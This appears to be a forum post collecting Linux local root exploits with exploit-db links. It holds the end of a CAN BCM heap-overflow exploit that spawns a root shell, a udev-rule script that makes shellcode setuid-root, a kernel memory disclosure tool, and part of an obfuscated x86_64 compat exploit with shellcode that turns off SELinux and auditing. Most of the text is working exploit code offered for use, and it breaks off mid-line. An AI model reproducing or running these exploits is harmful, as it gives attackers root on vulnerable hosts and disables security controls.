msg->nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1; printf("[+] clearing out any active OPs via RX_DELETE...\n"); msg->opcode = RX_DELETE; ret = send(sock, msg, len, 0); printf("[+] removing any active user-owned shmids...\n"); system("for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; do ipcrm -m $shmid > /dev/null 2>&1; done;"); printf("[+] massaging " SLUB " SLUB cache with dummy allocations\n"); diff = check_slabinfo(SLUB, &active, &total); shmids = malloc(sizeof(int) * diff * 10); cnt = diff * 10; for (i = 0; i < cnt; ++i) { diff = check_slabinfo(SLUB, &active, &total); if (diff == 0) { break; } shmids = shmget(IPC_PRIVATE, 1024, IPC_CREAT); } base = i; if (diff != 0) { printf("[-] inconsistency detected with SLUB cache allocation, please try again\n"); exit(1); } printf("[+] corrupting BCM OP with truncated allocation via RX_SETUP...\n"); i = base; cnt = i + FILLER; for (; i < cnt; ++i) { shmids = shmget(IPC_PRIVATE, 1024, IPC_CREAT); } msg->opcode = RX_SETUP; ret = send(sock, msg, len, 0); if (ret < 0) { printf("[-] kernel rejected malformed CAN header\n"); exit(1); } i = base + FILLER; cnt = i + FILLER; for (; i < cnt; ++i) { shmids = shmget(IPC_PRIVATE, 1024, IPC_CREAT); } printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n"); mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3); sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4); efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault); printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n"); msg = (struct bcm_msg_head *) efault; memset(msg, 0, mmap_len); msg->can_id = 2959; msg->nframes = (ALLOCATION / 16) * 4; msg->opcode = RX_SETUP; ret = send(sock, msg, mmap_len, 0); if (ret != -1 && errno != EFAULT) { printf("[-] couldn't trigger EFAULT, exploit aborting!\n"); exit(1); } printf("[+] seeking out the smashed shmid_kernel...\n"); i = base; cnt = i + FILLER + FILLER; for (; i < cnt; ++i) { ret = (int) shmat(shmids, NULL, SHM_RDONLY); if (ret == -1 && errno == EIDRM) { smashed = i; break; } } if (i == cnt) { printf("[-] could not find smashed shmid, trying running the exploit again!\n"); exit(1); } printf("[+] discovered our smashed shmid_kernel at shmid[%d] = %d\n", i, shmids); printf("[+] re-smashing the shmid_kernel with exploit payload...\n"); shmid_kernel.shm_perm.seq = shmids[smashed] / IPCMNI; buf = (char *) msg; memcpy(&buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel)); msg->opcode = RX_SETUP; ret = send(sock, msg, mmap_len, 0); if (ret != -1 && errno != EFAULT) { printf("[-] couldn't trigger EFAULT, exploit aborting!\n"); exit(1); } ret = (int) shmat(shmids[smashed], NULL, SHM_RDONLY); if (ret == -1 && errno != EIDRM) { setresuid(0, 0, 0); setresgid(0, 0, 0); printf("[+] launching root shell!\n"); execl("/bin/bash", "/bin/bash", NULL); exit(0); } printf("[-] exploit failed! retry?\n"); } void setup(void) { printf("[+] looking for symbols...\n"); commit_creds = (_commit_creds) get_symbol("commit_creds"); if (!commit_creds) { printf("[-] symbol table not availabe, aborting!\n"); } prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("[-] symbol table not availabe, aborting!\n"); } printf("[+] setting up exploit payload...\n"); super_block.s_flags = 0; inode.i_size = 4096; inode.i_sb = &super_block; inode.inotify_watches.next = &inode.inotify_watches; inode.inotify_watches.prev = &inode.inotify_watches; inode.inotify_mutex.count = 1; dentry.d_count = 4096; dentry.d_flags = 4096; dentry.d_parent = NULL; dentry.d_inode = &inode; op.mmap = &kernel_code; op.get_unmapped_area = &kernel_code; vfsmount.mnt_flags = 0; vfsmount.mnt_count = 1; file.fu_list.prev = &file.fu_list; file.fu_list.next = &file.fu_list; file.f_dentry = &dentry; file.f_vfsmnt = &vfsmount; file.f_op = &op; shmid_kernel.shm_perm.key = IPC_PRIVATE; shmid_kernel.shm_perm.uid = getuid(); shmid_kernel.shm_perm.gid = getgid(); shmid_kernel.shm_perm.cuid = getuid(); shmid_kernel.shm_perm.cgid = getgid(); shmid_kernel.shm_perm.mode = -1; shmid_kernel.shm_file = &file; } int main(int argc, char **argv) { setup(); trigger(); return 0; } http://www.exploit-db.com/exploits/14814/
Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root Код: # Exploit Title: Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root # Date: 24-10-2010 # Author: jmit # Mail: fhausberger[at]gmail[dot]com # Tested on: Debian 5.0.6 # CVE: CVE-2010-3856 http://www.exploit-db.com/papers/15311/
Ubuntu Linux 'mountall' Local Privilege Escalation Vulnerability http://www.exploit-db.com/exploits/15074/ Source: http://www.securityfocus.com/bid/43084/info Код: #!/bin/sh # by fuzz. For Anux inc. # # ubuntu 10.04 , 10.10 if [ -z "$1" ] then echo "usage: $0 <UDEV KERNEL EVENT>" echo "see here http://www.reactivated.net/writing_udev_rules.html" exit fi cat > usn985-exploit.sh << EOF #!/bin/sh chown root:root $PWD/usn985-sc chmod +s $PWD/usn985-sc EOF cat > usn985-sc.c << EOF char *s="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; main(){int *r;*((int *)&r+2)=(int)s;} EOF gcc usn985-sc.c -o usn985-sc echo "KERNEL==\"$1\", RUN+=\"$PWD/usn985-exploit.sh\"" >> /dev/.udev/rules.d/root.rules chmod +x usn985-exploit.sh echo "All set, now wait for udev to restart (reinstall, udev upgrade, SE, raep, threat.)" echo "Once the conf is reloaded, just make the udev event happen : usn985-sc file will get suid-root"
Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure http://www.exploit-db.com/exploits/15150/ Код: /* * cve-2010-3437.c * * Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org * * Information: * * https://bugzilla.redhat.com/show_bug.cgi?id=638085 * * The PKT_CTRL_CMD_STATUS device ioctl retrieves a pointer to a * pktcdvd_device from the global pkt_devs array. The index into this * array is provided directly by the user and is a signed integer, so the * comparison to ensure that it falls within the bounds of this array will * fail when provided with a negative index. * * Usage: * * $ gcc cve-2010-3437.c -o cve-2010-3437 * $ ./cve-2010-3437 * usage: ./cve-2010-3437 <address> <length> * $ ./cve-2010-3437 0xc0102290 64 * [+] searching for pkt_devs kernel symbol... * [+] found pkt_devs at 0xc086fcc0 * [+] opening pktcdvd device... * [+] calculated dereference address of 0x790070c0 * [+] mapping page at 0x79007000 for pktcdvd_device dereference... * [+] setting up fake pktcdvd_device structure... * [+] dumping kmem from 0xc0102290 to 0xc01022d0 via malformed ioctls... * [+] dumping kmem to output... * * 55 89 e5 0f 1f 44 00 00 8b 48 3c 8b 50 04 8b ... * 55 89 e5 57 56 53 0f 1f 44 00 00 89 d3 89 e2 ... * * Notes: * * Pass the desired kernel memory address and dump length as arguments. * * We can disclose 4 bytes of arbitrary kernel memory per ioctl call by * specifying a large negative device index, causing the kernel to * dereference to our fake pktcdvd_device structure in userspace and copy * data to userspace from an attacker-controlled address. Since only 4 * bytes of kmem are disclosed per ioctl call, large dump sizes may take a * few seconds. * * Tested on Ubuntu Lucid 10.04. 32-bit only for now. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/utsname.h> #include <sys/mman.h> #define DEV_INDEX -300000000 #define PAGE_SIZE 4096 #define PKT_CTRL_CMD_STATUS 2 struct pkt_ctrl_command { uint32_t command; int32_t dev_index; uint32_t dev; uint32_t pkt_dev; uint32_t num_devices; uint32_t padding; }; #define PACKET_IOCTL_MAGIC ('X') #define PACKET_CTRL_CMD _IOWR(PACKET_IOCTL_MAGIC, 1, struct pkt_ctrl_command) struct block_device { uint32_t bd_dev; } bd; struct pktcdvd_device { struct block_device *bdev; } pd; #define MINORBITS 20 #define MKDEV(ma,mi) (((ma) << MINORBITS) | (mi)) uint32_t new_decode_dev(uint32_t dev) { unsigned major = (dev & 0xfff00) >> 8; unsigned minor = (dev & 0xff) | ((dev >> 12) & 0xfff00); return MKDEV(major, minor); } const char hex_asc[] = "0123456789abcdef"; #define hex_asc_lo(x) hex_asc[((x) & 0x0f)] #define hex_asc_hi(x) hex_asc[((x) & 0xf0) >> 4] void hex_dump_to_buffer(const void *buf, size_t len, int rowsize, int groupsize, char *linebuf, size_t linebuflen, int ascii) { const uint8_t *ptr = buf; uint8_t ch; int j, lx = 0; int ascii_column; if (rowsize != 16 && rowsize != 32) rowsize = 16; if (!len) goto nil; if (len > rowsize) len = rowsize; if ((len % groupsize) != 0) groupsize = 1; switch (groupsize) { case 8: { const uint64_t *ptr8 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%16.16llx ", (unsigned long long)*(ptr8 + j)); ascii_column = 17 * ngroups + 2; break; } case 4: { const uint32_t *ptr4 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%8.8x ", *(ptr4 + j)); ascii_column = 9 * ngroups + 2; break; } case 2: { const uint16_t *ptr2 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%4.4x ", *(ptr2 + j)); ascii_column = 5 * ngroups + 2; break; } default: for (j = 0; (j < rowsize) && (j < len) && (lx + 4) < linebuflen; j++) { ch = ptr[j]; linebuf[lx++] = hex_asc_hi(ch); linebuf[lx++] = hex_asc_lo(ch); linebuf[lx++] = ' '; } ascii_column = 3 * rowsize + 2; break; } if (!ascii) goto nil; while (lx < (linebuflen - 1) && lx < (ascii_column - 1)) linebuf[lx++] = ' '; for (j = 0; (j < rowsize) && (j < len) && (lx + 2) < linebuflen; j++) linebuf[lx++] = (isascii(ptr[j]) && isprint(ptr[j])) ? ptr[j] : '.'; nil: linebuf[lx++] = '\0'; } void print_hex_dump(int rowsize, int groupsize, const void *buf, size_t len, int ascii) { const uint8_t *ptr = buf; int i, linelen, remaining = len; unsigned char linebuf[200]; if (rowsize != 16 && rowsize != 32) rowsize = 16; for (i = 0; i < len; i += rowsize) { linelen = ((remaining) < (rowsize) ? (remaining) : (rowsize)); remaining -= rowsize; hex_dump_to_buffer(ptr + i, linelen, rowsize, groupsize, linebuf, sizeof(linebuf), ascii); printf("%s\n", linebuf); } } unsigned long get_kernel_symbol(char *name) { FILE *f; unsigned long addr; struct utsname ver; char dummy, sname[512]; int ret, rep = 0, oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) { goto fallback; } oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); } else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) { continue; } p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') { p--; } *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); if (rep) { return 0; } fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) { oldstyle = 1; } sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) { return 0; } rep = 1; goto repeat; } void usage(char **argv) { fprintf(stderr, "usage: %s <address> <length>\n", argv[0]); exit(1); } int main(int argc, char **argv) { int fd, ret, length; void *mem, *dump, *ptr; struct pkt_ctrl_command cmd; unsigned long pkt_devs, map_addr, deref_addr; unsigned long start_addr, end_addr, curr_addr; if (argc < 3) { usage(argv); } start_addr = strtoul(argv[1], NULL, 0); length = strtoul(argv[2], NULL, 0); end_addr = start_addr + length; dump = malloc(length); if (!dump) { printf("[-] failed to allocate memory for kmem dump\n"); exit(1); } memset(dump, 0, length); printf("[+] searching for pkt_devs kernel symbol...\n"); pkt_devs = get_kernel_symbol("pkt_devs"); if (!pkt_devs) { printf("[-] could not find pkt_devs kernel symbol\n"); exit(1); } printf("[+] found pkt_devs at %p\n", (void *) pkt_devs); printf("[+] opening pktcdvd device...\n"); fd = open("/dev/pktcdvd/control", O_RDWR); if (fd < 0) { printf("[-] open of pktcdvd device failed\n"); exit(1); } deref_addr = pkt_devs + (DEV_INDEX * sizeof(void *)); map_addr = deref_addr & ~(PAGE_SIZE-1); printf("[+] calculated dereference address of %p\n", (void *) deref_addr); printf("[+] mapping page at %p for pktcdvd_device dereference...\n", (void *) map_addr); mem = mmap((void *) map_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem == MAP_FAILED) { printf("[-] mmap failed\n"); exit(1); } printf("[+] setting up fake pktcdvd_device structure...\n"); *(unsigned long *) deref_addr = (unsigned long) &pd; printf("[+] dumping kmem from %p to %p via malformed ioctls...\n", (void *) start_addr, (void *) end_addr); memset(&cmd, 0, sizeof(cmd)); cmd.command = PKT_CTRL_CMD_STATUS; cmd.dev_index = DEV_INDEX; ptr = dump; curr_addr = start_addr; while (curr_addr < end_addr) { pd.bdev = (struct block_device *) curr_addr; ret = ioctl(fd, PACKET_CTRL_CMD, &cmd); if (ret < 0) { printf("[-] ioctl of pktcdvd device failed\n"); exit(1); } *(uint32_t *) ptr = (uint32_t) new_decode_dev(cmd.dev); curr_addr += sizeof(uint32_t); ptr += sizeof(uint32_t); } printf("[+] dumping kmem to output...\n"); printf("\n"); print_hex_dump(32, 1, dump, length, 1); printf("\n"); return 0; }
Linux Kernel 2.6.27+ x86_64 compat exploit Linux Kernel 2.6.27+ x86_64 compat exploit Author: ben hawkes Published: 2010-09-16 Сам эксплоит: http://www.exploit-db.com/exploits/15023/ Код: /* Ac1dB1tch3z Vs Linux Kernel x86_64 0day Today is a sad day.. R.I.P. Tue, 29 Apr 2008 / Tue, 7 Sep 2010 a bit of history: MCAST_MSFILTER Compat mode bug found... upon commit! (2 year life on this one) author David L Stevens <dlstevens () us ibm com> Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700) committer David S. Miller <davem () davemloft net> Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700) This patch adds support for getsockopt for MCAST_MSFILTER for both IPv4 and IPv6. It depends on the previous setsockopt patch, and uses the same method. Signed-off-by: David L Stevens <dlstevens () us ibm com> Signed-off-by: YOSHIFUJI Hideaki <yoshfuji () linux-ipv6 org> Signed-off-by: David S. Miller <davem () davemloft net> ------------------------------------------------------------ Thank you for signing-off on this one guys. This exploit has been tested very thoroughly over the course of the past few years on many many targets. Thanks to redhat for being nice enough to backport it into early kernel versions (anything from later August 2008+) Ac1dB1tch3z would like to say F*** YOU Ben Hawkes. You are a new hero! You saved the plan8 man. Just a bit too l8. PS: OpenVZ Payload / GRsec bypass removed for kidiots and fame whores. (same thing right ;)) */ #include <poll.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> #include <sys/wait.h> #include <sys/utsname.h> #include <sys/socket.h> #include <sched.h> #include <netinet/in.h> #include <stdio.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/msg.h> #include <errno.h> #ifndef __i386__ #error "r34d th3 c0d3 m0r0n!!# () #" #else #define _GNU_SOURCE #define __dgdhdytrg55 unsigned int #define __yyrhdgdtfs66ytgetrfd unsigned long long #define __dhdyetgdfstreg__ memcpy #define VERT "\033[32m" #define NORM "\033[0m" #define BANNER VERT"Ac1dB1tCh3z "NORM"VS Linux kernel 2.6 kernel 0d4y\n" #define KALLSYMS "/proc/kallsyms" #define TMAGIC_66TDFDRTS "/proc/timer_list" #define SELINUX_PATH "/selinux/enforce" #define RW_FOPS "timer_list_fops" #define PER_C_DHHDYDGTREM7765 "per_cpu__current_task" #define PREPARE_GGDTSGFSRFSD "prepare_creds" #define OVERRIDE_GGDTSGFSRFSD "override_creds" #define REVERT_DHDGTRRTEFDTD "revert_creds" #define Y0Y0SMAP 0x100000UL #define Y0Y0CMAP 0x200000UL #define Y0Y0STOP (Y0Y0SMAP+0xFFC) #define J0J0S 0x00200000UL #define J0J0R00T 0x002000F0UL #define PAGE_SIZE 0x1000 #define KERN_DHHDYTMLADSFPYT 0x1 #define KERN_DGGDYDTEGGETFDRLAK 0x2 #define KERN_HHSYPPLORQTWGFD 0x4 #define KERN_DIS_GGDYYTDFFACVFD_IDT 0x8 #define KERN_DIS_DGDGHHYTTFSR34353_FOPS 0x10 #define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM 0x20 #define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX 0x40 #define isRHHGDPPLADSF(ver) (strstr(ver, ".el4") || strstr(ver,".el5")) #define TRY_REMAP_DEFAULT 1 #define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0) #define __pppp_tegddewyfg(s) do { fprintf(stdout, "%s", s); } while(0) #define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0) #define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0) static char buffer[1024]; static int s; static int flags=0; volatile static socklen_t magiclen=0; static int useidt=0, usefops=0, uselsm=0; static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0}; static __dgdhdytrg55 _m_cpu_off=0; static char krelease[64]; static char kversion[128]; #define R0C_0FF 14 static char ttrg0ccc[]= "\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41" "\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c" "\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11" "\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02" "\xeb\xcc\x5e\x5b\x5f\x59\xc3"; #define R0YTTTTUHLFSTT_OFF1 5 #define R0YGGSFDARTDF_DHDYTEGRDFD_D 21 #define R0TDGFSRSLLSJ_SHSYSTGD 45 char r1ngrrrrrrr[]= "\x53\x52\x57\x48\xbb\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd3" "\x50\x48\x89\xc7\x48\xbb\x42\x42\x42\x42\x42\x42\x42\x42" "\xff\xd3\x48\x31\xd2\x89\x50\x04\x89\x50\x14\x48\x89\xc7" "\x48\xbb\x43\x43\x43\x43\x43\x43\x43\x43" "\xff\xd3\x5f\x5f\x5a\x5b\xc3"; #define RJMPDDTGR_OFF 13 #define RJMPDDTGR_DHDYTGSCAVSF 7 #define RJMPDDTGR_GDTDGTSFRDFT 25 static char ttrfd0[]= "\x57\x50\x65\x48\x8b\x3c\x25\x00\x00\x00\x00" "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0" "\x58\x5f" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xc3"; /* implement selinux bypass for IDT ! */ #define RJMPDDTGR_OFF_IDT 14 #define RJMPDDTGR_DYHHTSFDARE 8 #define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27 static char ruujhdbgatrfe345[]= "\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00" "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0" "\x0f\x01\xf8" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x48\xcf"; #define CJE_4554TFFDTRMAJHD_OFF 10 #define RJMPDDTGR_AYYYDGTREFCCV7761_OF 23 static char dis4blens4sel1nuxhayettgdr64545[]= "\x41\x52\x50" "\xb8\x00\x00\x00\x00" "\x49\xba\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x89\x02" "\x49\xba\x42\x42\x42\x42\x42\x42\x42\x42" "\x41\x89\x02" "\x58\x41\x5a"; /* rhel LSM stuffs */ #define RHEL_LSM_OFF 98 struct LSM_rhel { __yyrhdgdtfs66ytgetrfd selinux_ops; __yyrhdgdtfs66ytgetrfd capability_ops; __yyrhdgdtfs66ytgetrfd dummy_security_ops; __yyrhdgdtfs66ytgetrfd selinux_enforcing; __yyrhdgdtfs66ytgetrfd audit_enabled; const char *krelease; const char *kversion; }; struct LSM_rhel known_targets[4]= { { 0xffffffff8031e600ULL, 0xffffffff8031fec0ULL, 0xffffffff804acc00ULL, 0xffffffff804af960ULL, 0xffffffff8049b124ULL, "2.6.18-164.el5", "#1 SMP Thu Sep 3 03:28:30 EDT 2009" // to manage minor/bug fix changes }, { 0xffffffff8031f600ULL, 0xffffffff80320ec0ULL, 0xffffffff804afc00ULL, 0xffffffff804b2960ULL, 0xffffffff8049e124ULL, "2.6.18-164.11.1.el5", "#1 SMP Wed Jan 6 13:26:04 EST 2010" }, { 0xffffffff805296a0ULL, 0xffffffff8052af60ULL, 0xffffffff806db1e0ULL, 0xffffffff806ddf40ULL, 0xffffffff806d5324ULL, "2.6.18-164.11.1.el5xen", "#1 SMP Wed Jan 20 08:06:04 EST 2010" // default xen }, { 0xffffffff8031f600ULL,// d selinux_ops 0xffffffff80320ec0ULL,// d capability_ops 0xffffffff804afc00ULL,// B dummy_security_ops 0xffffffff804b2960ULL,// B selinux_enforcing 0xffffffff8049e124ULL,// B audit_enabled "2.6.18-164.11.1.el5", "#1 SMP Wed Jan 20 07:32:21 EST 2010" // tripwire target LoL } }; static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt; struct socketcallAT { int s; int level; int optname; void *optval; volatile socklen_t *optlen; }__attribute__((packed)); struct idt64from32_s { unsigned short limit; unsigned long base; }__attribute__((packed)); static __yyrhdgdtfs66ytgetrfd getidt() { struct idt64from32_s idt; memset(&idt, 0x00, sizeof(struct idt64from32_s)); asm volatile("sidt %0" : "=m"(idt)); return idt.base | 0xFFFFFFFF00000000ULL; } static int isSelinuxEnabled() { FILE *selinux_f; selinux_f = fopen(SELINUX_PATH, "r"); if(selinux_f == NULL) { if(errno == EPERM) return 1; else return 0; } fclose(selinux_f); return 1; } static int wtfyourunhere_heee(char *out_release, char* out_version) { int ret; const char*ptr; int count=0; char r[32], *bptr; struct utsname buf; ret = uname(&buf); if(ret < 0) return -1; strcpy(out_release, buf.release); strcpy(out_version, buf.version); ptr = buf.release; bptr = r; memset(r, 0x00, sizeof(r)); while(*ptr) { if(count == 2) { if(*ptr >= '0' && *ptr <= '9') *bptr++ = *ptr; else break; } if(*ptr == '.') count++; ptr++; } if(strlen(r) < 1 || !atoi(r)) return -1; return atoi(r); } static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table) { *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table->selinux_enforcing; *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table->audit_enabled; __dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1); __dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1); } static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* filename, int ignore_flag) { FILE *ka; char line[512]; char reloc_a[64]; char reloc[64]; if(!(flags & KERN_HHSYPPLORQTWGFD) && !ignore_flag) return 0; ka = fopen(filename, "r"); if(!ka) return 0; while(fgets(line, 512, ka) != NULL) { char *l_p = line; char *ra_p = reloc_a; char *r_p = reloc; memset(reloc, 0x00, sizeof(reloc)); memset(reloc_a, 0x00, sizeof(reloc_a)); while(*l_p != ' ' && (ra_p - reloc_a) < 64) *ra_p++ = *l_p++; l_p += 3; while(*l_p != ' ' && *l_p != '\n' && *l_p != '\t' && (r_p - reloc) < 64) *r_p++ = *l_p++; if(!strcmp(reloc, s)) { __gggdfstsgdt_dddex("$$$ %s->%s\n", s, reloc_a); return strtoull(reloc_a, NULL, 16); } } return 0; } static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s) { return get_sym_ex(s, KALLSYMS, 0); } static int parse_cred(const char* val) { int i=0; const char* p = val; char local[64], *l; for(i=0; i<3; i++) { memset(local, 0x00, sizeof(local)); l = local; while(*p && *p != ',') *l++ = *p++; if(!(*p) && i != 2) return -1; _m_cred = strtoull(local, NULL, 16); p++; } return 0; } #define SELINUX_OPS "selinux_ops" #define DUMMY_SECURITY_OPS "dummy_security_ops" #define CAPABILITY_OPS "capability_ops" #define SELINUX_ENFORCING "selinux_enforcing" #define AUDIT_ENABLED "audit_enabled" struct LSM_rhel *lsm_rhel_find_target(int check_rhel) { int i; char mapbuf[128]; struct LSM_rhel *lsm = &(known_targets[0]); if(check_rhel && !isRHHGDPPLADSF(krelease)) { __pppp_tegddewyfg("!!! N0t a RH3l k3rn3l \n"); return NULL; } __pppp_tegddewyfg("$$$ L00k1ng f0r kn0wn t4rg3tz.. \n"); for(i=0; i<sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++) { if(!strcmp(krelease, lsm->krelease) && !strcmp(kversion, lsm->kversion)) { __gggdfstsgdt_dddex("$$$ Th1z b1tch 1z t0azt. kn0wn t4rg3t: %s %s \n", lsm->krelease, lsm->kversion); return lsm; } } __pppp_tegddewyfg("$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...\n"); strcpy(mapbuf, "/boot/System.map-"); strcat(mapbuf, krelease); dyn4nt4n1labeggeyrthryt.selinux_ops = get_sym_ex(SELINUX_OPS, mapbuf, 1); dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1); dyn4nt4n1labeggeyrthryt.capability_ops = get_sym_ex(CAPABILITY_OPS, mapbuf, 1); dyn4nt4n1labeggeyrthryt.selinux_enforcing = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1); dyn4nt4n1labeggeyrthryt.audit_enabled = get_sym_ex(AUDIT_ENABLED, mapbuf, 1); if(!dyn4nt4n1labeggeyrthryt.selinux_ops || !dyn4nt4n1labeggeyrthryt.dummy_security_ops || !dyn4nt4n1labeggeyrthryt.capability_ops || !dyn4nt4n1labeggeyrthryt.selinux_enforcing || !dyn4nt4n1labeggeyrthryt.audit_enabled) return NULL; return &dyn4nt4n1labeggeyrthryt; } static void put_your_hands_up_hooker(int argc, char *argv[]) { int fd,ver,ret; char __b[16]; fd = open(KALLSYMS, O_RDONLY); ret = read(fd, __b, 16); // dummy read if((fd >= 0 && ret > 0)) { __pppp_tegddewyfg("$$$ Kallsyms +r\t\n"); // d0nt p4tch m3 br0 flags |= KERN_HHSYPPLORQTWGFD; } close(fd); ver = wtfyourunhere_heee(krelease, kversion); if(ver < 0) __yyy_tegdtfsrer("!!! Un4bl3 t0 g3t r3l3as3 wh4t th3 fuq!\n"); __gggdfstsgdt_dddex("$$$ K3rn3l r3l3as3: %s\n", krelease); if(argc != 1) { while( (ret = getopt(argc, argv, "siflc:k:o:")) > 0) { switch(ret) { case 'i': flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_DGDGHHYTTFSR34353_FOPS; useidt=1; // u have to use -i to force IDT Vector break; case 'f': flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT; break; case 'l': flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS; break; case 'c': if(!optarg || parse_cred(optarg) < 0) __yyy_tegdtfsrer("!!! Un4bl3 t0 p4s3 cr3d c0d3z\n"); break; case 'k': if(optarg) _m_fops = strtoull(optarg, NULL, 16); else __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0P numb3rs\n"); break; case 's': if(!isSelinuxEnabled()) __pppp_tegddewyfg("??? wh4t th3 fuq s3l1nux 1z n0t 3v3n 3n4bl3d!?\n"); else flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX; break; case 'o': if(optarg) _m_cpu_off = strtoull(optarg, NULL, 16); else __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0p c0mput3r numb3rs\n"); break; } } } if(ver >= 29) // needs cred structure { flags |= KERN_DGGDYDTEGGETFDRLAK; if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2]) { _m_cred[0] = 